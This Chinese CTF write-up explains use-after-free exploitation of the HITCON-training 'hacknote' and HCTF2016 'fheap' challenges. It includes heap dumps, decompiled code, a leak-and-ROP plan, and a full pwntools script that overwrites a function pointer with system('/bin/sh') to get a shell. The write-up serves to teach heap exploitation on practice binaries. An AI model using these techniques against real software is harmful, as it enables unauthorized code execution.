HITCON-training-lab 10 hacknote
本题为最简单的UAF利用
add note0,note1后chunk使用情况
0x80b4000 FASTBIN { //note0
prev_size = 0,
size = 17,
fd = 0x804865b , //put
bk = 0x80b4018, //content
fd_nextsize = 0x0,
bk_nextsize = 0x19
}
0x80b4010 FASTBIN { //note0.content_chunk
prev_size = 0,
size = 25,
fd = 0x61616161,
bk = 0xa,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x80b4028 FASTBIN { //note1
prev_size = 0,
size = 17,
fd = 0x804865b ,
bk = 0x80b4040, //content
fd_nextsize = 0x0,
bk_nextsize = 0x19
}
0x80b4038 FASTBIN { //note1.content_chunk
prev_size = 0,
size = 25,
fd = 0x62626262,
bk = 0xa,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
del_note(0),del_node(1)后,fastbin情况如下
16bytes_chunk:note1_chunk->note0_chunk
24bytes_chunk:note1.content_chunk->note0.content_chunk
这时,当我们创建一个note2,且它的content大小为8则,note2实际上被分配到note1_chunk,note2.content实际上被分配到note0_chunk,而note2.content在创建时是可以自定义的,即我们通过note2就可以控制note0的整个结构体,而由于free之后没有置空,即存在UAF漏洞,所以note0依旧可以被使用,此时我们将magic函数覆盖到note0.put处,即可获取flag
HCTF2016-fheap
程序分析
create
unsigned __int64 add_str()
{
signed int i; // [rsp+4h] [rbp-102Ch]
struc_1 *str_struc; // [rsp+8h] [rbp-1028h]
char *string; // [rsp+10h] [rbp-1020h]
size_t size; // [rsp+18h] [rbp-1018h]
size_t length; // [rsp+18h] [rbp-1018h]
char str[4096]; // [rsp+20h] [rbp-1010h]
unsigned __int64 v7; // [rsp+1028h] [rbp-8h]
v7 = __readfsqword(0x28u);
str_struc = (struc_1 *)malloc(0x20uLL);
printf("Pls give string size:");
size = input_num();
if ( size <= 0x1000 )
{
printf("str:");
if ( read(0, str, size) == -1 )
{
puts("got elf!!");
exit(1);
}
length = strlen(str);
if ( length > 0xF )
{
string = (char *)malloc(length);
if ( !string )
{
puts("malloc faild!");
exit(1);
}
strncpy(string, str, length);
str_struc->string = string;
str_struc->delete = delete_all;
}
else
{
strncpy((char *)str_struc, str, length);
str_struc->delete = delete_struc;
}
str_struc->size = length;
for ( i = 0; i <= 15; ++i )
{
if ( !LODWORD(string_list[i].flag) )
{
LODWORD(string_list[i].flag) = 1;
string_list[i].str_struc = str_struc;
printf("The string id is %d\n", (unsigned int)i);
break;
}
}
if ( i == 16 )
{
puts("The string list is full");
((void (__fastcall *)(struc_1 *))str_struc->delete)(str_struc);
}
}
else
{
puts("Invalid size");
free(str_struc);
}
return __readfsqword(0x28u) ^ v7;
}
根据该函数可以分析出结构体:
00000000 struc_1 struc ; (sizeof=0x20, mappedto_6)
00000000 string dq ? ; offset
00000008 field_8 dd ?
0000000C field_C dd ?
00000010 size dq ?
00000018 delete dq ? ; offset
00000020 struc_1 ends
每次为结构体分配0x20字节空间。然后设置字符串大小,若字符串长度小于16,则字符串直接放到结构体前24字节,若字符串长度大于16,则重新申请空间并将指针放到结构体前8字节,最后8字节为一个delete函数,用于释放结构体本身及其字符串。
每次申请了一个新的结构体后,将其放入一个全局数组中,该数组的元素结构如下
00000000 str struc ; (sizeof=0x10, mappedto_7)
00000000 flag dq ?
00000008 str_struc dq ? ; offset
00000010 str ends
flag表示该struc是否存在,之后便是该结构体的指针
利用思路
1.利用UAF漏洞泄漏程序基地址
由于程序开启了PIE,所以需要泄漏其基地址才能进一步的利用。
要泄漏基地址,我们可以构造struc{'a'*24, puts},然后delete这个结构就能获得调用puts函数的地址
首先申请两个结构体然后free后,fastbin如下
struc0->struc1
之后我们申请一个struc2,然后str长度为32,则struc2实际为struc0,str实际为struc1
这里需要注意的是,当我们delete一个结构后,在全局数组中该结构对应的flag变为0,之后申请的结构指针就可覆盖这个指针,所以全局数组的0位置一定是会被新申请的结构覆盖的,所以应该构造struc0->struc1这样的fastbin
2.泄漏libc基地址
利用该UAF漏洞,我们本质上可以完成任意地址执行,在delete函数中,有一个buf缓冲区,我们可以将rop写入该缓冲区,然后pop ret跳到缓冲区执行rop,rop中我们打印puts的实际地址,然后跳转回主函数
3.基地址都已经找到,所以将system函数地址覆盖到struc->delete位置即可,注意/bin/sh用';'结尾
完整脚本:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./pwn-f')
def menu():
p.recvuntil('3.quit\n')
def add(size, string):
p.sendline('create ')
p.recvuntil('size:')
p.sendline(str(size))
p.send(string)
def delete(idx):
p.sendline('delete ')
p.recvuntil('id:')
p.sendline(str(idx))
p.recvuntil('sure?:')
p.sendline('yes')
menu()
#leak elf base
add(8, '0')
add(8, '1')
#gdb.attach(p)
delete(1)
delete(0)
add(32, 'a'*24+'\x2d')
delete(1)
p.recvuntil('a'*24)
puts_addr = u64(p.recv(6).ljust(8, '\x00'))
elf_base = puts_addr - 0xd2d
print 'elf base:' + hex(elf_base)
delete(0)
#leak libc
add(32, 'a'*24+p64(elf_base+0x11dc))
#gdb.attach(p)
pop_rdi = 0x11e3 + elf_base
pop_rsi_r15 = 0x11e1 + elf_base
puts_got = 0x202030 + elf_base
puts_plt = 0x990 + elf_base
rop = flat([
pop_rdi,
puts_got,
puts_plt,
elf_base + 0xc71,
])
menu()
p.sendline('delete ')
p.recvuntil('id:')
p.sendline('1')
p.recvuntil('sure?:')
p.send('yes'.ljust(8, 'a') + rop)
puts_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
print 'libc base:' + hex(libc_base)
print 'system:' + hex(system_addr)
menu()
delete(0)
#getshell
#gdb.attach(p)
add(32, '/bin/sh;'.ljust(24, 'a')+p64(system_addr))
delete(1)
p.interactive()